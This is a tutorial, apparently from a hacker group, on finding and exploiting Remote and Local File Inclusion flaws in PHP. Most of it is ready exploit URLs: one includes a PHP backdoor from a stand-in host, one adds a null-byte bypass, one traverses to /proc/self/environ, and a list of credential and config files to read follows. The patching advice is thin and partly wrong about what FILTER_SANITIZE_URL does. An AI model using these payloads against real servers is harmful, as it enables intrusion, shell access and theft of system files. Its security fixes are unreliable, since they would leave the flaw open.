Finding RFI and LFI, Exploiting and Patching

[0x01a] What is RFI

[0x01b] Getting into PHP Source and Exploiting.

[0x01c] Fixing it.

[0x02a] What is LFI ?

[0x02b] Getting into PHP Source and Exploiting.

[0x02c] Fixing it.

[0xextra] Some More Info

[0x00] Who am I ?

(Some Knowledge of PHP and LFI/RFI can be useful)

What is RFI ?

RFI stands for Remote File Inclusion. RFI vulnerability occurs when include(),include_once(),require(),require_once() statements in PHP are stupidly used , I am calling it Stupidity Of Programmer because this can lead to something very dangerous when input is not validated.

Include() function is most common , it "includes" code of other file by reference. It's Available in PHP >= 4.3

Attacker can "include" a malicious code in this vulnerability in vulnerable PHP file , let's look closer at it.

Getting into Source code and Exploitation

Let's look in this Example.

```php
<?php
$file = $_GET['file'];
include $file;
?>
```

If we access the page directly we will get error

Notice Undefined index : file in /opt/lampp/htdocs/rfi/index.php on line 2

We can see in variable $file is not defined! Since the input from GET method is not validated we can exploit this vulnerability .

Supposing some PHP shell/Backdoor script is stored on http://b4ckd00r.com/m1n1.txt

This can be exploited by “including” evilscript (PHP shell) into GET method i.e.

http://localhost/rfi/index.php?file=http://b4ckd00r.com/m1n1.txt

txt file format will be readed as PHP and shell will be executed !

Now we look to second example.

```php
<?php
$file = $_GET['file'];
include $file. '.php';
?>
```

Here if we perform RFI exploit as

http://localhost/rfi/index.php?file=http://b4ckd00r.com/m1n1.txt

It will not work because .php will be added as postfix in URL , we can bypass it by a null byte(%00)

http://localhost/rfi/index.php?file=http://b4ckd00r.com/m1n1.txt%00

and all the crap will be bypassed ;) . Sometimes http is filtered we can use “ftp” and “https” in address of shell location. (you need to upload malicious script in ftp or https)

Now we Look at Finding RFI in webapps from source code

```php
if(isset($_REQUEST["file"])) {
$file = $_REQUEST["file"];
 }
else if (isset($_SESSION["file"])) {
$file= $_SESSION["file"];
 }
```

----------SNIP ----------

```
set_file();
require_once($file)
```

We can see file variable is requested by $_REQUEST Method, Attacker can set any value and exploit the RFI Vulnerability.

Fixing it

We can filter input value with FILTER_VALIDATE_URL or FILTER_SANITIZE_URL (Needs PHP 5.2 and higher) function to filter colon ":" slash "/" , "ftp" , "http" and "https" .

What is LFI ?

LFI Stands for Local File Inclusion. This vulnerability can be used to read local files on server . Logs , Configuration files , /etc/passwd file and /proc/self/environ which can give attacker direct reverse shell to attacker.

That Might be enough for its introduction.

Getting into Source code and Exploitation

Now Lets Look At Code

```
$file = $_GET['file'];
include '/data/'.$file;
```

We see the script is "including" from a local directory "/data/" so we cannot include a remote file here . Sometimes Programmer Thinks he has patched RFI with this method but instead it gives rise to similar and equally dangerous vulnerability.

If we exploit we can read local files at servers by search this way

http://localhost/lfi/index.php?file=../.../proc/self/environ

we go on adding "../" till we actually read the file

Some of interesting readable files can be

/etc/httpd/httpd.conf

/etc/apache2/apache2.conf

/etc/named.conf

/etc/host.deny

/etc/my.cnf

/etc/passwd

/etc/host.allow

/proc/self/environ (Gives Attacker Reverse Shell)

Let's look At another Example of Vulnerable CMS script

```
if(empty($_GET["file"])) {
$file = 'install.php';
else
```

----------SNIP----------

```
include('install/'.$file)
```

URL wasn't sanitized or validated so it's vulnerable ☺

Fixing it

We can filter input value with FILTER_VALIDATE_URL or FILTER_SANITIZE_URL (Needs PHP 5.2 and higher) function to filter colon ":" slash "/" , "ftp" , "http" and "https" .

Extra Information

Automatic File Inclusion Attacks Can Also be performed by Tools

I Prefer 'Fimap' Made in Python.

http://code.google.com/p/fimap

Coded By Imran Karim

Tutorial Can be found easily on Youtube and Some Blogs (Google it :P)

This Tool can be Very Helpful if you can read /proc/self/environ File on Server, As it establishes reverse shell .

Who am I ?

I am Mr.Gh0st From 104Day Team. This Paper was made for sake of knowledge; People sometimes tend to hack websites without actually knowing what they are doing and how it is working, let's learn basics ☺ .

Greetings : **Infam0us , Ak-47 , Ph4nt0mc0d3r , Golden Boy And All Members**

Our Website

Exploit Database (www.104day.in) Forums(www.code104.net) Blog(www.evilsec.in)

_____When there is a Shell There is a Way _____